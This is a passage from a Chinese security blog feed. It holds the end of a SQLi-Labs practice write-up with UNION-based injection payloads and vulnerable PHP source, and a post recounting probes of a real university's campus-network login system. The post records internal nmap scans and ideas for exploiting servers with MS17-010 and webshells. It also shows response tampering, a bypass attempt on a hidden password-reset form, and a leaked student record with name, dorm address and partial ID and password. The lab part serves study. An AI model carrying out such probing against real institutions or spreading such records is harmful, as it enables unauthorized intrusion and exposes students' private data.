r"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">index.php?id=<span class="number">1</span> and <span class="number">1</span>=<span class="number">1</span> 返回正常</div><div class="line">index.php?id=<span class="number">2</span> and <span class="number">1</span>=<span class="number">2</span> 返回正常</div></pre></td></tr></table></figure><p>两次返回都正常,说明我们猜测的语句是有问题的。</p><h3 id="单引号测试-1"><a href="#单引号测试-1" class="headerlink" title="单引号测试"></a>单引号测试</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">index.php?id=1'</div><div class="line">得到报错信息:</div><div class="line">MySQL server version for the right syntax to <span class="keyword">use</span> near <span class="string">''</span><span class="number">1</span><span class="string">''</span>) <span class="keyword">LIMIT</span> <span class="number">0</span>,<span class="number">1</span><span class="string">' at line 1</span></div></pre></td></tr></table></figure><h3 id="斜杠测试-1"><a href="#斜杠测试-1" class="headerlink" title="斜杠测试"></a>斜杠测试</h3><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">index.php?id=1\</div><div class="line">得到报错信息:</div><div class="line"> MySQL server version for the right syntax to <span class="keyword">use</span> near <span class="string">''</span><span class="number">1</span>\<span class="string">') LIMIT 0,1'</span> <span class="keyword">at</span> line <span class="number">1</span></div></pre></td></tr></table></figure><h3 id="推理-1"><a href="#推理-1" class="headerlink" title="推理"></a>推理</h3><p>报错最外面的<code>单引号</code>是程序用来标注错误的<code>单引号</code>,然后如下区分:<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">near ' '1'') LIMIT 0,1 '</div><div class="line">near ' '1\') LIMIT 0,1 '</div></pre></td></tr></table></figure></p><p>这里面外面输出的为:<br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">'1'') LIMIT 0,1</div><div class="line">'1\') LIMIT 0,1</div></pre></td></tr></table></figure></p><p>说明源码中的<code>SQL</code>的语句里,<code>id</code>应该是有<code>单引号</code>和<code>括号</code>去标注的。<br><strong>再次猜测SQL语句为</strong><br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">select</span> username,<span class="keyword">password</span> <span class="keyword">from</span> <span class="keyword">table</span> <span class="keyword">where</span> <span class="keyword">id</span> = (<span class="string">'input'</span>)</div></pre></td></tr></table></figure></p><h2 id="源码-2"><a href="#源码-2" class="headerlink" title="源码"></a>源码</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div></pre></td><td class="code"><pre><div class="line"><span class="meta"><?php</span></div><div class="line">$sql=<span class="string">"SELECT * FROM users WHERE id=('$id') LIMIT 0,1"</span>;</div><div class="line">$result=mysql_query($sql);</div><div class="line">$row = mysql_fetch_array($result);</div><div class="line"></div><div class="line"><span class="keyword">if</span>($row)</div><div class="line">{</div><div class="line"> <span class="keyword">echo</span> <span class="string">'Your Login name:'</span>. $row[<span class="string">'username'</span>];</div><div class="line"> <span class="keyword">echo</span> <span class="string">'Your Password:'</span> .$row[<span class="string">'password'</span>];</div><div class="line"> }</div><div class="line"><span class="keyword">else</span> </div><div class="line">{</div><div class="line">print_r(mysql_error()); </div><div class="line">}</div><div class="line">}</div><div class="line"><span class="keyword">else</span> { <span class="keyword">echo</span> <span class="string">"Please input the ID as parameter with numeric value"</span>;}</div><div class="line"><span class="meta">?></span></div></pre></td></tr></table></figure><h2 id="Payload构造-2"><a href="#Payload构造-2" class="headerlink" title="Payload构造"></a>Payload构造</h2><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">index.php?id=-1') payload <span class="comment">--+</span></div></pre></td></tr></table></figure><h2 id="验证注入-2"><a href="#验证注入-2" class="headerlink" title="验证注入"></a>验证注入</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">index.php?id=-<span class="number">1</span><span class="string">') UNION SELECT 1,database(),version()--+</span></div></pre></td></tr></table></figure><p><img src="http://image.3001.net/images/20171220/15137365975139.png" alt=""> </p><h1 id="Less-4"><a href="#Less-4" class="headerlink" title="Less-4"></a>Less-4</h1><h2 id="注入类型-3"><a href="#注入类型-3" class="headerlink" title="注入类型"></a>注入类型</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">GET - 基于错误 - 双引号- 字符型</div><div class="line">GET - Error based - Double Quotes - String</div></pre></td></tr></table></figure><h2 id="过程-3"><a href="#过程-3" class="headerlink" title="过程"></a>过程</h2><figure class="highlight r"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line">index.php?id=<span class="number">1</span><span class="string">' 不报错</span></div><div class="line"><span class="string"></span></div><div class="line"><span class="string">index.php?id=1\</span></div><div class="line"><span class="string">MySQL server version for the right syntax to use near '</span><span class="string">"1\") LIMIT 0,1' at line 1</span></div><div class="line"><span class="string"></span></div><div class="line"><span class="string">index.php?id=1"</span></div><div class="line">MySQL server version <span class="keyword">for</span> the right syntax to use near <span class="string">'"1"") LIMIT 0,1'</span> at line <span class="number">1</span></div></pre></td></tr></table></figure><p><strong>猜测SQL语句为</strong><br><figure class="highlight sql"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">SELECT</span> username,<span class="keyword">password</span> <span class="keyword">from</span> <span class="keyword">tables</span> <span class="keyword">WHERE</span> <span class="keyword">id</span> = (<span class="string">"input"</span>)</div></pre></td></tr></table></figure></p><h2 id="源码-3"><a href="#源码-3" class="headerlink" title="源码"></a>源码</h2><figure class="highlight php"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div></pre></td><td class="code"><pre><div class="line"><span class="meta"><?php</span></div><div class="line">$id = <span class="string">'"'</span> . $id . <span class="string">'"'</span>;</div><div class="line">$sql=<span class="string">"SELECT * FROM users WHERE id=($id) LIMIT 0,1"</span>;</div><div class="line">$result=mysql_query($sql);</div><div class="line">$row = mysql_fetch_array($result);</div><div class="line"></div><div class="line"><span class="keyword">if</span>($row)</div><div class="line">{</div><div class="line"> <span class="keyword">echo</span> <span class="string">'Your Login name:'</span>. $row[<span class="string">'username'</span>];</div><div class="line"> <span class="keyword">echo</span> <span class="string">'Your Password:'</span> .$row[<span class="string">'password'</span>];</div><div class="line"> }</div><div class="line"><span class="keyword">else</span> </div><div class="line">{</div><div class="line">print_r(mysql_error()); </div><div class="line">}</div><div class="line">}</div><div class="line"><span class="keyword">else</span> { <span class="keyword">echo</span> <span class="string">"Please input the ID as parameter with numeric value"</span>;}</div><div class="line"><span class="meta">?></span></div></pre></td></tr></table></figure><h2 id="Payload构造-3"><a href="#Payload构造-3" class="headerlink" title="Payload构造"></a>Payload构造</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">index.php?id=-<span class="number">1</span><span class="string">") payload --+</span></div></pre></td></tr></table></figure><h2 id="验证注入-3"><a href="#验证注入-3" class="headerlink" title="验证注入"></a>验证注入</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">index.php?id=-<span class="number">1</span><span class="string">") UNION SELECT 1,database(),version()--+</span></div></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p><img src="http://image.3001.net/images/20171220/15137709982478.png" alt="sqlinjection"><br>发现以前对手工注入理解的很不透彻,最近准备来系统的学习下手工注入,所以本地搭建了SQLi-Labs环境来练习。做个记录,供日后自己复习查看。<br>
</summary>
<category term="hacker" scheme="http://www.sqlsec.com/categories/hacker/"/>
<category term="国光" scheme="http://www.sqlsec.com/tags/%E5%9B%BD%E5%85%89/"/>
<category term="SQL" scheme="http://www.sqlsec.com/tags/SQL/"/>
</entry>
<entry>
<title>一次对南师大的校园网认证系统的逻辑漏洞测试</title>
<link href="http://www.sqlsec.com/2017/11/nnuwifi.html"/>
<id>http://www.sqlsec.com/2017/11/nnuwifi.html</id>
<published>2017-11-18T07:35:27.000Z</published>
<updated>2017-11-24T02:14:39.000Z</updated>
<content type="html"><![CDATA[<p><img src="http://image.3001.net/images/20171118/15110146581237.png" alt=""><br>记录了最近在南师大对其校园网逻辑漏洞测试中的一些有趣曲折的点<br><a id="more"></a></p><h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>最近常来南京师范大学(随园校区)这边玩,来感受一下研究生们的学霸学习氛围~ 作为一名职业网民,打开电脑的第一件事当然就是来连接周围的WiFi啦。南师大的WiFi是校园网全校覆盖的,在学校周边也是可以连接到校园WiFi的。当然连上WiFi没有这么简单,进行认证后才可以开开心心上网,接下来就分享一下最近的校园网认证系统的探索过程。</p><h1 id="校园网概览"><a href="#校园网概览" class="headerlink" title="校园网概览"></a>校园网概览</h1><p>这一块记录了国光本人平时做信息收集的思路和方法,欢迎志同道合的小伙伴一起交流信息收集的相关技术~</p><h2 id="SSID"><a href="#SSID" class="headerlink" title="SSID"></a>SSID</h2><p>首先校园网有2种SSID,分别是:<br><img src="http://image.3001.net/images/20171117/15109259486766.png" alt=""><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">mnu_stu :学生专用</div><div class="line">mnu_sta :老师专用</div></pre></td></tr></table></figure></p><h2 id="上网认证"><a href="#上网认证" class="headerlink" title="上网认证"></a>上网认证</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">http://223.x.xx.xxx/eportal/index.jsp?wlanuserip=30d5b38028f3479d2be5113c417dc933&wlanacname=63cbbfe1990b214e&ssid=&nasip=428fd27b3f03bb3b7072e332292b3066&snmpagentip=&mac=82bff3ae27d78ed0425049c67e9564a3&t=wireless-v2&url=ddcf351fa2345782b4adc5cf7326a4a76bcbe2460ba43a33e495990859bb0d4500d7ff5d3fbd60c4&apmac=&nasid=63cbbfe1990b214e&vid=57a7181b22993f48&port=1dcf032f51eb16cf&nasportid=f5eb983692924fa26e6431fe9df4835fc5f153c43b10c5dbcca27b7d788c193aa021d58a893d1a20</div></pre></td></tr></table></figure><p><img src="http://image.3001.net/images/20171117/15109264275923.png" alt=""> </p><h3 id="ip"><a href="#ip" class="headerlink" title="ip"></a>ip</h3><p><code>223.x.x.x</code>: <code>江苏省南京市 教育网</code> ~~ 手机用流量访问这个<code>URL</code>认证界面无页面显示 </p><h3 id="通知公告"><a href="#通知公告" class="headerlink" title="通知公告"></a>通知公告</h3><p><img src="http://image.3001.net/images/20171117/15109265224377.png" alt=""><br><strong>有效信息提取</strong><br>教师和学生使用不同的<code>SSID</code>来使用校园网进行上网,接着提供了一个宿舍网络服务指南。</p><h3 id="《宿舍网络服务指南》"><a href="#《宿舍网络服务指南》" class="headerlink" title="《宿舍网络服务指南》"></a>《宿舍网络服务指南》</h3><figure class="highlight html"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="tag"><<span class="name">a</span> <span class="attr">href</span>=<span class="string">"http://net.njnu.edu.cn/Page/Show/106"</span>></span>《宿舍网络服务指南》<span class="tag"></<span class="name">a</span>></span></div></pre></td></tr></table></figure><p>点击这个超链接<code>闪了</code>一下,然后页面<code>刷新</code>了一下还是这个上网认证界面。然鹅这个是外网的地址,使用手机流量是可以正常访问的。<br><strong>有效信息提取</strong><br>最后面的邮箱地址:<code>或邮至[email protected]</code> 后期可能会用这个邮箱,先记下来再说。</p><h2 id="校园网自助服务系统"><a href="#校园网自助服务系统" class="headerlink" title="校园网自助服务系统"></a>校园网自助服务系统</h2><p>这个<code>校园网自助服务系统</code>在<code>上网认证</code>系统登录界面的右上角:<br><img src="http://image.3001.net/images/20171117/1510926589328.png" alt=""><br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">http://192.168.11.98:8080/selfservice/</div></pre></td></tr></table></figure></p><p><img src="http://image.3001.net/images/20171117/15109266283963.png" alt=""><br><strong>有效信息提取</strong></p><ol><li>登录上面的自助注册</li><li>版权所有 ©2000-2016 锐捷网络<h3 id="自助注册"><a href="#自助注册" class="headerlink" title="自助注册"></a>自助注册</h3><img src="http://image.3001.net/images/20171117/15109266808369.png" alt=""><br><strong>有效信息提取</strong></li><li><p>首先是最直接的信息,没想到这个页面直接缓存了一个学姐的信息~ 这个可能就是传说中的<code>页面缓存</code>漏洞吧</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div></pre></td><td class="code"><pre><div class="line">性别: 女</div><div class="line">证件号码: 21140xxx</div><div class="line">电话号码: 15651xxxxx </div><div class="line">住址: 江苏省南京市</div></pre></td></tr></table></figure></li><li><p>注册和审核结果查询,理论上来说可以再这个自助服务系统注册然后查看审核结果进度</p></li></ol><p><img src="http://image.3001.net/images/20171117/15109267196810.png" alt=""> </p><h2 id="电脑分配的ip"><a href="#电脑分配的ip" class="headerlink" title="电脑分配的ip"></a>电脑分配的ip</h2><p>查看电脑分配的<code>ip</code>地址,观察下<code>网关</code>和<code>ip</code>情况:<br><img src="http://image.3001.net/images/20171117/15109267389598.png" alt=""><br>可以看到外网不通,内网的网关ip地址是:<code>172.24.0.1</code> </p><h1 id="进阶信息收集"><a href="#进阶信息收集" class="headerlink" title="进阶信息收集"></a>进阶信息收集</h1><h2 id="nmap"><a href="#nmap" class="headerlink" title="nmap"></a>nmap</h2><p>一般来说校园网是一个大的内网,这个时候拿出<code>masscan</code>和<code>nmap</code>进行全方位扫描下肯定会发现很多资产列表的。<br>这里有小伙伴要问了:为什么进行校园网认证要收集这些资产呢?<br>下面说下我曾经内网收集我的母校的情况: 在学校内搭建一些应用的服务器有的是不需要进行统一上网认证的,可能是进行了区域的限定,在那个区域的服务器有免认证的特权,所以信息收集的话 找到这些服务器是 关键要素 ,然后随便利用写历史上爆发的漏洞,比如:ms17010 等等 直接拿到服务器权限,搭建有Web应用的服务器 可以尝试先拿到webshell,然后提权进服务器…… 这里大家都是知道的,不具体谈这个。 拿到服务器后可以尝试搭建<code>VPN</code>,因为内网是相通的,这个时候利用这个<code>VPN</code>就可以免认证上网了……(以上纯属是国光的一厢情愿)</p><h2 id="nmap信息收集结果"><a href="#nmap信息收集结果" class="headerlink" title="nmap信息收集结果"></a>nmap信息收集结果</h2><p>分别使用如下格式,对<code>3</code>个网段进行扫描<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div></pre></td><td class="code"><pre><div class="line">nmap -sV -T4 -O -F --version-light 172.24.0.1/24</div><div class="line">nmap -sV -T4 -O -F --version-light 192.168.11.1/24</div></pre></td></tr></table></figure></p><p><strong>结果</strong><br><img src="http://image.3001.net/images/20171117/15109267691993.png" alt=""><br>没有任何结果,我果然是一厢情愿~ 南师大内网很奇葩,在内网也必须得走上网认证才可以,无法直接去<code>ping</code>通,<br>nmap扫描期间都会转向开了的<code>80</code>和<code>8081</code>端口的服务器。<br><strong>结论</strong><br>端口扫描 – 扑街</p><h1 id="思路转换"><a href="#思路转换" class="headerlink" title="思路转换"></a>思路转换</h1><p>直接暴力入侵服务器然后搭建<code>VPN</code>的方法落空,现在只能从这个校园网认证系统进行研究。<br>方向:</p><ol><li>是否有后台管理系统</li><li>能否使用其他研究生学号暴力破解密码</li><li>是否存在逻辑漏洞</li><li>上网认证系统 or 校园网自助服务系统</li><li>Jboss 搭建的应用是否存在Java反序列化漏洞</li><li>©2000-2016 锐捷网络 历史上是否爆出相关的漏洞</li><li>[email protected] 这个学习校园网管理员的邮箱 是否可以社工?</li></ol><p>这里我选择了 主要测试 <code>校园网自助服务器系统</code>,因为这里是<code>192</code>开头的内网地址,难度上肯定要低于<code>223</code>开头的外网系统的应用。<br>测试方法 这里测试的是 <code>逻辑漏洞</code>,暴力破解的话 ,通过注册页面可以看出这里是 个人自定义设置密码的,不存在默认密码的可能,密码的复杂度就会很高,所以这里不到万不得已,绝对不使用暴力破解。</p><h1 id="尝试逻辑漏洞绕过验证"><a href="#尝试逻辑漏洞绕过验证" class="headerlink" title="尝试逻辑漏洞绕过验证"></a>尝试逻辑漏洞绕过验证</h1><p>先注册完善一个用户信息:<br><img src="http://image.3001.net/images/20171117/15109271734142.png" alt=""><br>然后查询下审核结果:<br><img src="http://image.3001.net/images/20171117/15109267196810.png" alt=""><br>下面是审核查询的结果:<br><img src="http://image.3001.net/images/20171117/15109272246243.png" alt=""><br>可以看到状态是未审核,尝试在查询审核结果的登录界面进行抓包,修改其返回包:<br><img src="http://image.3001.net/images/20171117/15109273632078.png" alt=""><br>图片看不清的下面提供具体的HTTP数据包:<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div></pre></td><td class="code"><pre><div class="line">POST /selfservice/module/userself/web/userself_reg_ajax.jsf?methodName=regUserinfoBean.findUserinfo HTTP/1.1</div><div class="line">Host: 192.168.11.98:8080</div><div class="line">Content-Length: 13</div><div class="line">Accept: application/json, text/javascript, */*; q=0.01</div><div class="line">Origin: http://192.168.11.98:8080</div><div class="line">X-Requested-With: XMLHttpRequest</div><div class="line">User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36</div><div class="line">Content-Type: application/x-www-form-urlencoded; charset=UTF-8</div><div class="line">Referer: http://192.168.11.98:8080/selfservice/module/userself/web/reguserinfo_guest.jsf</div><div class="line">Accept-Language: zh-CN,zh;q=0.9</div><div class="line">Cookie: JSESSIONID=EE81927464803C8FA092134E85A89DEF</div><div class="line">Connection: close</div><div class="line"></div><div class="line">key=gg:123456</div><div class="line"></div><div class="line">返回包如下</div><div class="line"></div><div class="line">HTTP/1.1 200 OK</div><div class="line">Server: Apache-Coyote/1.1</div><div class="line">X-Powered-By: Servlet 2.5; JBoss-5.0/JBossWeb-2.1</div><div class="line">P3P: CP="CAO PSA OUR"</div><div class="line">Pragma: no-cache</div><div class="line">Cache-Control: no-cache</div><div class="line">Expires: Thu, 01 Jan 1970 00:00:00 GMT</div><div class="line">Pragma: no-cache</div><div class="line">Cache-Control: no-cache</div><div class="line">Content-Type: text/html;charset=gbk</div><div class="line">Content-Length: 753</div><div class="line">Date: Thu, 16 Nov 2017 08:15:19 GMT</div><div class="line">Connection: close</div><div class="line"></div><div class="line"></div><div class="line"></div><div class="line"></div><div class="line"></div><div class="line">{"regUserinfoUuid":"40288be25b65ab9e015fc3dff1b56164","userId":"gg","password":"123456","userType":2,"judgeType":1,"createTime":"2017-11-16 16:09:14","lastUpdateTime":"2017-11-16 16:09:14","stateFlag":2,"userName":"\u56fd\u5149","sex":2,"certificateType":2,"certificateNo":"2114xxxx","address":"\u6c5f\u82cf\u7701\u5357\u4eac\u5e02","telephone":"1565xxxxxxx","nasPort":0,"firstBind":0,"userRegInfo":"\u6ca1\u6709\u7f51\u548c\u4e00\u6761\u54b8\u9c7c\u6709\u4ec0\u4e48\u533a\u522b~~","nextBillingTime":"1980-1-1 0:00:00","isPeriodStop":2,"periodTimeCumut":0,"periodTrafficCumut":0.000000,"periodForeUpCumut":0.000000,"periodForeDownCumut":0.000000,"periodInlandUpCumut":0.000000,"periodInlandDownCumut":0.000000,"periodNtdFlowSumCumut":0.000000}</div></pre></td></tr></table></figure></p><p>这里将这个<code>judgeType:1</code>修改为:<code>judgeType:0</code><br><img src="http://image.3001.net/images/20171118/15109371481683.png" alt=""><br>然后再发包,结果如下:<br><img src="http://image.3001.net/images/20171117/15109337398524.png" alt=""><br>审核通过了!整理本次注册使用的信息如下<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line">用户名:gg</div><div class="line">证件号:21140xxx</div><div class="line">密码:123456</div><div class="line">密码组合:</div><div class="line">用户名:gg 密码:123456</div><div class="line">证件号:21140xxx 密码:123456</div></pre></td></tr></table></figure></p><p>但是尝试这些密码组合最后都失败了,尽管我们已经篡改了返回包临时欺骗了系统,系统显示注册信息审核通过了,但是实际上,我们还是没有欺骗上网认证系统,上网依然需要认证。 </p><p><strong>结论</strong><br>篡改返回包 – 失败</p><h1 id="尝试密码找回漏洞"><a href="#尝试密码找回漏洞" class="headerlink" title="尝试密码找回漏洞"></a>尝试密码找回漏洞</h1><p>密码找回直接在前端界面处并没有找到,由于前段时间看过补天排名第一的大神总结的 <a href="http://www.sqlsec.com/2017/10/resetpass.html">密码找回漏洞的10种姿势</a>,所以这里得想办法找到密码找回的<code>URL</code>。在<code>上网认证</code>界面处刷新一下,<code>Burp</code>抓包,然后看返回包,可以在返回包里面直接看到网站的部分源代码。在里面可以找到密码找回的URL处~<br><img src="http://image.3001.net/images/20171117/15109339192721.png" alt=""><br>具体的关键代码如下:<br><figure class="highlight js"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div></pre></td><td class="code"><pre><div class="line"><span class="comment">//忘记密码</span></div><div class="line"> <span class="keyword">if</span>(pageInfo.isForgetPassword&&pageInfo.isForgetPassword==<span class="string">'true'</span>){</div><div class="line"> $(<span class="string">"#forgetPassword"</span>).attr(<span class="string">"href"</span>,pageInfo.selfUrl+<span class="string">"/module/userself/web/password_retrieve.jsf?eportal=true"</span>);</div><div class="line"> $(<span class="string">"#forgetPasswordDiv"</span>).show();</div><div class="line"> }<span class="keyword">else</span>{</div><div class="line"> $(<span class="string">"#forgetPasswordDiv"</span>).hide();</div><div class="line"> }</div></pre></td></tr></table></figure></p><p>看到忘记密码熟悉的<code>URL</code>,好像在<code>自助服务</code>这里有看到过,于是乎尝试在<code>自助服务</code>的后面+ 这串<code>URL</code>,成功获取到了找回密码界面。<br><img src="http://image.3001.net/images/20171117/15109340188767.png" alt=""><br>到这里开始有些兴奋了,最近学的密码重置找回漏洞终于要拍上用场了:-D 赶紧输入 一个学姐的学号 点击下一步~~ ,结果大吃一惊<br><img src="http://image.3001.net/images/20171117/15109340445591.png" alt=""><br>找回密码的界面这里是空的,难道代码被注释了嘛??于是审查元素看看~<br><img src="http://image.3001.net/images/20171117/15109341277854.png" alt=""><br>果然发现了被注释的代码,除了使用了<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><!--注释--></div></pre></td></tr></table></figure></p><p>这种格式的代码来注释,还使用了<br><figure class="highlight html"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="tag"><<span class="name">div</span> <span class="attr">style</span>=<span class="string">"display:none"</span>></span><span class="tag"></<span class="name">div</span>></span></div></pre></td></tr></table></figure></p><p>来隐藏了界面的布局<br><img src="http://image.3001.net/images/20171118/1510934839912.png" alt=""><br>最后恢复了完整的布局是酱紫的:<br><img src="http://image.3001.net/images/20171118/15109359546637.png" alt=""><br>但是点击发送的时候,还是提示 输入的手机号码是空的。代码里面已经还原了所有隐藏的组件了还是没有找到手机号码的输入框~~ 猜测可能是管理员删了这一段代码……心里还是有点不甘,感觉卡在这里 岂不是很尴尬,于是尝试自己手动添加<br><code>input</code>输入框,然后来猜测<code>id</code>值,这里的<code>id</code>我尝试了很多,在一个<code>js</code>里面找到了<code>id</code>的正确值:<br><img src="http://image.3001.net/images/20171118/15109348993439.png" alt=""><br>最后成功添加如下输入框:<br><figure class="highlight html"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line"><span class="tag"><<span class="name">input</span> <span class="attr">maxlength</span>=<span class="string">"32"</span> <span class="attr">class</span>=<span class="string">"text1"</span> <span class="attr">id</span>=<span class="string">"phonespans"</span> <span class="attr">style</span>=<span class="string">"color: rgb(153, 153, 153);"</span> <span class="attr">type</span>=<span class="string">"text"</span>></span></div></pre></td></tr></table></figure></p><p>然后再输入这个学号绑定到的手机号,在隐藏域中可以找到:<br><img src="http://image.3001.net/images/20171118/15109349524612.png" alt=""><br>有了账号,有了输入框,赶紧输入进去点击<code>发送</code>按钮看看~<br><img src="http://image.3001.net/images/20171118/15109360642125.png" alt=""><br>结果!提示短信发送失败……<br><img src="http://image.3001.net/images/20171124/1511489665749.png" alt=""><br>终于知道管理员为什么要注释删除这段代码了,因为这个密码找回的功能本来就用不了~ 可能是管理员服务器没有配置短信发送和邮件发送~~ 吐血ing<br><strong>结论</strong><br>密码找回 – GG</p><h1 id="意外测试–学生敏感数据泄露"><a href="#意外测试–学生敏感数据泄露" class="headerlink" title="意外测试–学生敏感数据泄露"></a>意外测试–学生敏感数据泄露</h1><p>在密码找会这个页面,输入用学号,意外发现了惊喜~<br><img src="http://image.3001.net/images/20171118/15109350883481.png" alt=""><br>然后查看下返回包:<br><img src="http://image.3001.net/images/20171118/15109351664901.png" alt=""><br>具体返回包关键内容如下:<br><figure class="highlight json"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div></pre></td><td class="code"><pre><div class="line">{</div><div class="line"> <span class="attr">"userinfoUuid"</span>:<span class="string">"818181824c971068014cb6bf35da1f49"</span>,</div><div class="line"> <span class="attr">"userId"</span>:<span class="string">"2014xxx"</span>,</div><div class="line"> <span class="attr">"businessType"</span>:<span class="number">3</span>,</div><div class="line"> <span class="attr">"password"</span>:<span class="string">"ShYfZxxxxxxxx"</span>,</div><div class="line"> <span class="attr">"userType"</span>:<span class="number">1</span>,</div><div class="line"> <span class="attr">"userFrom"</span>:<span class="number">8</span>,</div><div class="line"> <span class="attr">"userTemplateUuid"</span>:<span class="string">"40288bf223382853012347bd769c15ca"</span>,<span class="attr">"accountInfoUuid"</span>:<span class="string">"818181824c971068014cb6bf35c91f47"</span>,<span class="attr">"webSelfhelpPerUuid"</span>:<span class="string">"4028b62f3739e69701373a015828003a"</span>,</div><div class="line"> <span class="attr">"policyInfoUuid"</span>:<span class="string">"40288bf222c5d29a0122c6a8e9370022"</span>,<span class="attr">"userPackageUuid"</span>:<span class="string">"1155073Ef190Ef4CC9fBBD3fA31401B4"</span>,</div><div class="line"> <span class="attr">"createTime"</span>:<span class="string">"2015-4-14 15:05:26"</span>,</div><div class="line"> <span class="attr">"lastUpdateTime"</span>:<span class="string">"2016-5-9 1:19:08"</span>,</div><div class="line"> <span class="attr">"createManagerId"</span>:<span class="string">"system"</span>,</div><div class="line"> <span class="attr">"stateFlag"</span>:<span class="number">2</span>,</div><div class="line"> <span class="attr">"userName"</span>:<span class="string">"\u80e1\u73a5"</span>,</div><div class="line"> <span class="attr">"certificateType"</span>:<span class="number">1</span>,</div><div class="line"> <span class="attr">"certificateNo"</span>:<span class="string">"620321199xxxxxxxxx"</span>,</div><div class="line"> <span class="attr">"address"</span>:<span class="string">"\u7d2b\u91d1\u6821\u533a21\u53f7104"</span>,</div><div class="line"> <span class="attr">"mobile"</span>:<span class="string">"1565xxxxxxx"</span>,</div><div class="line"> <span class="attr">"nasPort"</span>:<span class="number">0</span>,</div><div class="line"> <span class="attr">"freeAuthen"</span>:<span class="number">1</span>,</div><div class="line"> <span class="attr">"firstBind"</span>:<span class="number">0</span>,</div><div class="line"> <span class="attr">"periodStartTime"</span>:<span class="string">"2016-5-22 2:00:15"</span>,</div><div class="line"> <span class="attr">"nextBillingTime"</span>:<span class="string">"2016-6-21 0:00:00"</span>,</div><div class="line"> <span 